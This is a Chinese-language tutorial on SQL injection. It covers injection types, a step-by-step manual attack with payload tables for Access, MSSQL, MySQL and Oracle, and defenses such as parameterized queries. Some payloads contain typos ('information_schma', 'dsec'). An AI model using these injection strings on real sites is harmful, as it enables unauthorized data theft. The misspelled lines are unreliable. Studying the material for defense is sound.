sql注入-原理&防御
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
总结一句话:SQL注入实质就是闭合前一句查询语句,构造恶意语句,恶意语句被代入SQL语句执行。
目录
sql注入分类
手工注入的攻击步骤
防御
sql注入分类
按数据类型分类
数字型
后台语句可能为:
$id=$_POST['id']
select user,password from users where id=$id
字符型
后台语句可能为:
$id=$_POST['id']
select user,password from users where id='$id'
区别和联系
数字类型直接将后台接收到用户输入的内容带入到数据库中执行;而字符型将接收到的内容添加到引号内然后进行执行。
字符型注入需要考虑语句的闭合问题,而数字类型则不存在
按注入位置分
GET方式注入
注入参数以GET方式进行提交
POST方式注入
注入参数以POST方式进行提交
基于cookie的注入
后台接收cookie内的参数,在http的cookie字段中存在注入漏洞
基于http头部的注入
后台会接收referer或user-agent字段中的参数,http头部中的referer、user-agent字段中存在注入漏洞
盲注
基于UNION的注入
首先通过order by 进行判断查询参数的数目,然后构造union查询,查看回显。有时需要将前面参数名修改为假的参数。如id=-1’ union select 1,2,3 查找页面中1,2,3的位置,在页面中显示的数字的地方构造查询的内容。若页面无回显但报错可以尝试报错注入
基于布尔的盲注
特点:网站页面在输入条件为true和false的情况下会显示不同,但页面中没有输出。此时需要在SQL语句之后添加条件判断。
猜解思路:
猜解数据库:先构造条件判断当前数据库的名字长度,然后逐字猜解数据库名。
猜解数据表:先构造条件判断数据表的数量,然后逐个进行猜解,先猜解表名长度然后逐字猜解表名。
猜解数据列:指定数据库中的指定表进行猜解字段,首先猜解字段的数目,然后逐个猜解字段
猜解内容:指定数据列,先查询数据的条数,然后逐条猜解其中的内容
基于报错的注入
常用函数:
updatexml(1,concat('~',SQL语句,'~'),1)
extractvalue(1,concat('~',(SQL语句)))
基于时间的盲注
特点:网站页面在输入条件为真和为假返回的页面相同,但通过延时函数构造语句,可通过页面响应时间的不同判断是否存在注入
猜解思路:
类似基于布尔的盲注,只是将条件为真转换为延时响应
常用函数
if(condition,A,B):若condition返回真则执行A,假则执行B
substr(str,A,B):字符串截取函数,截取str字符串从A位置开始,截取B个字符
left(str,A):类似字符串截取函数,返回str字符串从左往右数的A个字符
count(A):计算A的数目,常用与查询数据表、数据列、数据内容的条数
len(A):计算A的长度,常用于返回数据库名、数据表名、数据列名的长度
ascii(A):返回A的ascii码,当逐字猜解限制单引号的输入时,可以通过查询ascii码来绕过
宽字节注入
宽字节注入的原理即为数据库的编码与后台程序的编码不一致,数据库中一个字符占两个字节,而后台程序为一个字符占一个字节,当后台程序对输入的单引号的字符进行转义时,通过在这些转义的字符前输入%bf然后将%bf’带入后台程序时会转义为%bf’,此时带入数据库中,数据库将%bf\看作是一个中文字符从而使用单引号将SQL语句进行闭合。
还有一些少见的注入,比如二次注入,base64加密注入等,以后再整理进去
手工注入的攻击步骤
(这里语句太多了,我还是去复制黏贴一下别人的博客吧)
1、确认目标参数
我们首先要确定要测试哪些参数。在以前参数还是比较容易确定的,比如前面说的http://example.com/app/accountView?id=1,问号后边的参数大多是动态参数。
但现在都讲restful,所以首先参数并不一定在问号后边,比如url可能变成http://example.com/app/accountView/1/这样的;其次大多参数都是post的,所以目标要从url更多转移到post数据上。
2、确认动态参数
动态参数就是带入数据库的参数,很多参数是不带入数据库的而只有带入数据库的参数才有可能导致sql注入,所以我们需要确认哪些参数是动态参数。
没具体去分析sqlmap等工具是怎么确定一个参数是不是动态参数,我们可以使用前面说的单引号法和1=1/1=2法,如果参数有过滤不能注入那我们权当他不是动态参数也一样的。
3、爆出数据库类型
因为虽然数据库都兼容sql92但不同的数据库其具有的系统库表和扩展功能都是不一样的,这导致我们后续查询库名、表名、列名具体注入语句会随数据库的不同而有差异,所以首先要确认服务端使用的是什么数据库,是oracle还是mysql还是其他。
和检测操作系统等类似,判断是什么数据库也是用“指纹”的形式,数据库的指纹就是数据库支持的注释符号、系统变量、系统函数、系统表等,所以应该可以整理出更多的检测语句。
数据库 |
注入语句 |
原理 | 用处 |
access | and user>0 | user是mssql内置变量,类型为nvarchar;nvarchar与int比较会报错 | msqql和access报错不一样可区分数据库是mssql还是access |
mssql |
and (select count(*) from sysobjects) >= 0 and (select count(*) from msysobjects) >= 0 |
mssql存在sysobjects不存在msysobjects,上句不会报错下句会报错 access不存在sysobjects存在msysobjects,上句会报错下句不会报错 |
可用于确认数据库是mssql还是access |
mysql |
select @@version select database() |
@@version是mysql的内置变量 database()是mysql的内置函数 |
如果返回正常则说明是oracle |
oracle |
and exists(select * from dual) and (select count(*) from user_tables)>0 -- |
dual和user_tables是oracle的系统表 | 如果返回正常则说明是oracle |
multl |
/* -- ; |
mysql支持的注释 mssql和oracle支持的注释 oracle不支持多行 |
报错说明不是mysql 不报错可能是mssql或oracle 报错极有可能是oracle |
4、爆出数据库名
数据库 | 注入语句 | 说明 |
access | access一个数据库对应一个文件,获取文件名没有很大意义 | |
mssql |
and db_name() = 0 and db_name(n) > 0 |
从返回的报错信息中可获取当前数据库名 返回的报错信息中有第n个数据库的库名 |
mysql |
and 1=2 union select 1,database()/* and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1 select group_concat(schema_name) from information_schema.schemata |
爆出当前数据库名 n为几就返回第几个数据库的库名返回空就表示没有更多数据库了 返回所有数据库名 |
oracle |
and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一库名'),4,5... from dual |
返回第一个库名 返回当前用户所拥有的下一库名 |
5、猜解数据库表名
数据库 | 注入语句 | 说明 |
access |
and exists(select * from table_name) and (select count(*) from table_name) >= 0 |
不断测试table_name 如果返回正常那说明该表存在 |
mssql |
and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 -- and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0-- and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) -- |
可爆出当前数据库表的数量 n为几就输出第几张表的表名 n为几就输出db_name库第几张表的表名 |
mysql |
and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1-- select group_concat(table_name) from information_schema.tables where table_schema=database() |
n为几就返回当前第几张表的表名 返回当前库的所有表名 |
oracle |
and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual |
返回第一个表名 返回下一个表名 返回包含pass的表名 |
6、猜解字段名
数据库 | 注入语句 | 说明 |
access |
and exists(select column_name from table_name) and (select count(column_name) from table_name) >=0 |
table_name使用上一步得到的表名,不断试column_name 如果返回正常则说明该字段存在 |
mssql |
having 1=1 -- group by 字段名1 having 1=1 -- group by 字段名1,字段名2 having 1=1 -- |
可获取表名和第一个字段名 可以得到第二个字段名 可以得到第三个字段名 |
mysql |
and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1-- select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name |
ascii_table_name表示要查的表的表句的十六进制型示n为几就返回第几字段的字段名 返回指定表名的所有字段 |
oracle |
and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual |
返回第一个字段名 返回下一个字段名 |
7、猜解字段值
获取字段内容,各数据库的方法是比较通用的,当然也有一些自己特色的获取方法我这里就不管了
方法一:逐字节猜解法
首先猜解出字段长度,然后再逐字节猜解。
and (select top 1 len(column_name) from table_name > 1
and (select top 1 len(column_name) from table_name > 2
..
and (select top 1 len(column_name) from table_name > n-1
and (select top 1 len(column_name) from table_name > n
当n-1正常n错误时说明字段长度为n(二分法快一些)
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 1
..
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n-1
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > n
n-1正常n错误时说明字段值第一位ascii码值为n,再使用mid(cloumn_name,2,1)等继续猜解后续各个位直至n即可
方法二:union select法
上边的逐字节猜解法是相当费劲的,使用union select能更快捷地获取字段值。
由于union select要求两边的select返回的select字段数要一样,所以首先使用order by猜解前边select返回结果的字段数:
order by 1
order by 2
...
order by n-1
order by n
n-1正常,n报错时说明原先select字段数为n
然后使用union select查出表中内容
and 1=2 union select 1,2...,n from table_name----and 1=2是为了使原本的select结果为空,页面中出现数字x说明该处是显示的是第x字段的结果将x替换为字段名该处即会呈现该字段的内容
and 1=2 union select 1,2..,column_name..,n from table_name----上边的x替换成column_name,页面中x处即会显示column_name字段的内容
防御
代码层面
1、对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。
2、限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度 。
3、使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。
4、所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
5、数据长度应该严格规定。
6、网站每个数据层的编码统一。
网络层面
1、部署防火墙
2、升级 web 服务器运行平台软件补丁,建议使用 WAF 防护。
面试题:
如何进行SQL注入的防御
-
关闭应用的错误提示
-
加waf
-
对输入进行过滤
-
限制输入长度
-
限制好数据库权限,drop/create/truncate等权限谨慎grant
-
预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。
-
数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5
-
清晰的编程规范,结对/自动化代码 review ,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。
-
具体的语言如何进行防注入,采用什么安全框架
参考: